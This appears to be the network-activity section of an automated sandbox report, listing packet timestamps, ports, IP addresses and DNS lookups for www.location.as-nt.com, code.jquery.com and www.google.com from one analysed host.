Jan 13, 2025 01:37:33.562688112 CET	443	49850	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.562689066 CET	49850	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.566654921 CET	49850	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.566654921 CET	49851	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.566669941 CET	443	49851	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.583231926 CET	49852	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.583255053 CET	443	49852	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.588464975 CET	49850	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.588480949 CET	443	49850	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.919207096 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.919569016 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.919599056 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.920629025 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.920685053 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.921232939 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.921283007 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.921669960 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:33.921679974 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:33.968940973 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:34.198721886 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:34.198746920 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:34.198807001 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:34.198848963 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:34.198894024 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:34.220848083 CET	49860	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:34.220875025 CET	443	49860	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:34.235296011 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:34.235337019 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:34.235397100 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:34.239042044 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:34.239053011 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:35.812165022 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:35.812201023 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:35.812354088 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:35.814124107 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:35.814136982 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.609822035 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.609901905 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:36.620721102 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:36.620740891 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.621068954 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.624502897 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:36.624572039 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:36.624578953 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.624735117 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:36.667331934 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.796920061 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.797024965 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:36.797071934 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:36.797776937 CET	49957	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:36.797796011 CET	443	49957	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:39.807161093 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:39.807523966 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:39.807542086 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:39.807904005 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:39.808229923 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:39.808281898 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:39.808358908 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:39.851325035 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:39.860124111 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:40.083118916 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:40.083208084 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:40.083288908 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:40.084613085 CET	49947	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:40.084636927 CET	443	49947	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:40.680455923 CET	64348	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:40.685323000 CET	53	64348	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:40.685400009 CET	64348	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:40.685465097 CET	64348	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:40.690460920 CET	53	64348	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:41.126931906 CET	53	64348	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:41.127779961 CET	64348	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:41.132905006 CET	53	64348	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:41.132961035 CET	64348	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:42.604710102 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.604747057 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:42.604974985 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.604983091 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.605032921 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:42.605242014 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.605247021 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.605252981 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:42.605529070 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.605539083 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:42.605565071 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.606103897 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.606108904 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.606121063 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:42.606123924 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:42.606144905 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.606602907 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.606606007 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:42.606614113 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:42.606618881 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.733302116 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.733959913 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.734024048 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.734911919 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.735002041 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.736278057 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.736349106 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.736705065 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.736722946 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.740747929 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.740943909 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.740977049 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.744545937 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.744628906 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.745268106 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.745449066 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.745855093 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.746691942 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.746701002 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.746809006 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.746818066 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.747572899 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.747633934 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.749490023 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.749531984 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.749845028 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.749851942 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.762767076 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.782174110 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.797873020 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.797873020 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.813519955 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.823498964 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.823518991 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.827442884 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.827461958 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.827524900 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.828694105 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.828866005 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.828881025 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.875902891 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:46.875932932 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:46.922776937 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.040097952 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.040123940 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.040132046 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.040251017 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.040317059 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.040425062 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.040477991 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.040484905 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.040539026 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.042357922 CET	64360	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.042390108 CET	443	64360	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.049813986 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.049838066 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.049890995 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.049885035 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.049967051 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.053648949 CET	64363	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.053690910 CET	443	64363	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.116491079 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.116544008 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.116605043 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.116640091 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.116693020 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.116693974 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.116748095 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.150441885 CET	64361	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.150464058 CET	443	64361	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.168222904 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.168282032 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.168304920 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.168361902 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.168379068 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.168453932 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:47.168521881 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.171658993 CET	64362	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:47.171667099 CET	443	64362	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:57.382945061 CET	50306	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:57.387866974 CET	53	50306	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:57.387979031 CET	50306	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:57.387979031 CET	50306	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:57.392857075 CET	53	50306	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:58.025254011 CET	53	50306	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:58.025554895 CET	50306	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:58.030694008 CET	53	50306	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:58.030791044 CET	50306	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:38:00.024388075 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:00.024466991 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:00.024560928 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:00.024751902 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:00.024772882 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:00.678180933 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:00.678646088 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:00.678667068 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:00.679130077 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:00.679757118 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:00.679841995 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:00.719814062 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:01.196902037 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:01.197001934 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:01.197746038 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:01.198052883 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:01.198086977 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.003555059 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.003664017 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.006679058 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.006710052 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.007544041 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.009578943 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.009671926 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.009685040 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.009819984 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.051341057 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.184223890 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.184428930 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:02.184623957 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.184623957 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.485445023 CET	50309	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:38:02.485507965 CET	443	50309	40.113.110.67	192.168.2.6
Jan 13, 2025 01:38:10.590559959 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:10.590640068 CET	443	50308	142.250.185.132	192.168.2.6
Jan 13, 2025 01:38:10.590748072 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:12.112004042 CET	50308	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:38:12.112035990 CET	443	50308	142.250.185.132	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 01:36:55.860500097 CET	53	65331	1.1.1.1	192.168.2.6
Jan 13, 2025 01:36:55.909285069 CET	53	50639	1.1.1.1	192.168.2.6
Jan 13, 2025 01:36:57.026253939 CET	53	58434	1.1.1.1	192.168.2.6
Jan 13, 2025 01:36:59.849440098 CET	64694	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:36:59.849440098 CET	65350	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:36:59.856487036 CET	53	64694	1.1.1.1	192.168.2.6
Jan 13, 2025 01:36:59.856779099 CET	53	65350	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:01.898195028 CET	54032	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:01.898510933 CET	51517	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:02.909363031 CET	52235	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:02.909528017 CET	53781	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:03.422313929 CET	53	51517	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:03.440191031 CET	53	54032	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:04.428889036 CET	53	52235	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:06.929570913 CET	53	53781	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:14.057693005 CET	53	64655	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:20.399166107 CET	53666	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:20.399430037 CET	52033	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:20.406594038 CET	53	52033	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:20.406857014 CET	53	53666	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:21.361855030 CET	51171	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:21.362153053 CET	63304	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:21.369026899 CET	53	51171	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:21.369040012 CET	53	63304	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:33.105580091 CET	60970	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:33.105771065 CET	60325	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:33.684772968 CET	53	58599	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:34.923676968 CET	54424	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:34.924256086 CET	59793	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:35.217605114 CET	53	59143	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:36.188750982 CET	53	60325	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:38.563803911 CET	49550	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:39.280643940 CET	53	54424	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:39.316380024 CET	53	60970	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:39.563339949 CET	49550	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:39.951033115 CET	53	59793	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:40.578970909 CET	49550	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:40.679934025 CET	53	61907	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:42.579870939 CET	49550	53	192.168.2.6	1.1.1.1
Jan 13, 2025 01:37:42.603441954 CET	53	49550	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:42.603455067 CET	53	49550	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:42.603462934 CET	53	49550	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:42.603472948 CET	53	49550	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:55.341576099 CET	53	49624	1.1.1.1	192.168.2.6
Jan 13, 2025 01:37:57.382412910 CET	53	62742	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 13, 2025 01:37:04.428977966 CET	192.168.2.6	1.1.1.1	c1fe	(Port unreachable)	Destination Unreachable
Jan 13, 2025 01:37:06.929655075 CET	192.168.2.6	1.1.1.1	c245	(Port unreachable)	Destination Unreachable
Jan 13, 2025 01:37:39.280745983 CET	192.168.2.6	1.1.1.1	c1fe	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 01:36:59.849440098 CET	192.168.2.6	1.1.1.1	0x1ba8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:36:59.849440098 CET	192.168.2.6	1.1.1.1	0xa47b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 13, 2025 01:37:01.898195028 CET	192.168.2.6	1.1.1.1	0x4668	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:01.898510933 CET	192.168.2.6	1.1.1.1	0xf812	Standard query (0)	www.location.as-nt.com	65	IN (0x0001)	false
Jan 13, 2025 01:37:02.909363031 CET	192.168.2.6	1.1.1.1	0x526d	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:02.909528017 CET	192.168.2.6	1.1.1.1	0x40c2	Standard query (0)	www.location.as-nt.com	65	IN (0x0001)	false
Jan 13, 2025 01:37:20.399166107 CET	192.168.2.6	1.1.1.1	0x8459	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:20.399430037 CET	192.168.2.6	1.1.1.1	0x992e	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 01:37:21.361855030 CET	192.168.2.6	1.1.1.1	0xb156	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:21.362153053 CET	192.168.2.6	1.1.1.1	0x8a77	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 01:37:33.105580091 CET	192.168.2.6	1.1.1.1	0x6ae7	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:33.105771065 CET	192.168.2.6	1.1.1.1	0x365d	Standard query (0)	www.location.as-nt.com	65	IN (0x0001)	false
Jan 13, 2025 01:37:34.923676968 CET	192.168.2.6	1.1.1.1	0xdbd5	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:34.924256086 CET	192.168.2.6	1.1.1.1	0xf9fc	Standard query (0)	www.location.as-nt.com	65	IN (0x0001)	false
Jan 13, 2025 01:37:38.563803911 CET	192.168.2.6	1.1.1.1	0x53b0	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:39.563339949 CET	192.168.2.6	1.1.1.1	0x53b0	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:40.578970909 CET	192.168.2.6	1.1.1.1	0x53b0	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:42.579870939 CET	192.168.2.6	1.1.1.1	0x53b0	Standard query (0)	www.location.as-nt.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 01:36:59.856487036 CET	1.1.1.1	192.168.2.6	0x1ba8	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:36:59.856779099 CET	1.1.1.1	192.168.2.6	0xa47b	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 13, 2025 01:37:03.440191031 CET	1.1.1.1	192.168.2.6	0x4668	No error (0)	www.location.as-nt.com		89.250.71.221	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:04.428889036 CET	1.1.1.1	192.168.2.6	0x526d	No error (0)	www.location.as-nt.com		89.250.71.221	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:09.069900990 CET	1.1.1.1	192.168.2.6	0x7f96	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 01:37:09.069900990 CET	1.1.1.1	192.168.2.6	0x7f96	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:20.406857014 CET	1.1.1.1	192.168.2.6	0x8459	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:20.406857014 CET	1.1.1.1	192.168.2.6	0x8459	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:20.406857014 CET	1.1.1.1	192.168.2.6	0x8459	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:20.406857014 CET	1.1.1.1	192.168.2.6	0x8459	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:21.369026899 CET	1.1.1.1	192.168.2.6	0xb156	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:21.369026899 CET	1.1.1.1	192.168.2.6	0xb156	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:21.369026899 CET	1.1.1.1	192.168.2.6	0xb156	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:21.369026899 CET	1.1.1.1	192.168.2.6	0xb156	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:31.556798935 CET	1.1.1.1	192.168.2.6	0xd47e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:31.556798935 CET	1.1.1.1	192.168.2.6	0xd47e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 01:37:39.280643940 CET	1.1.1.1	192.168.2.6	0xdbd5	No error (0)	www.location.as-nt.com		89.250.71.221	A (IP address)	IN (0x0001)	false
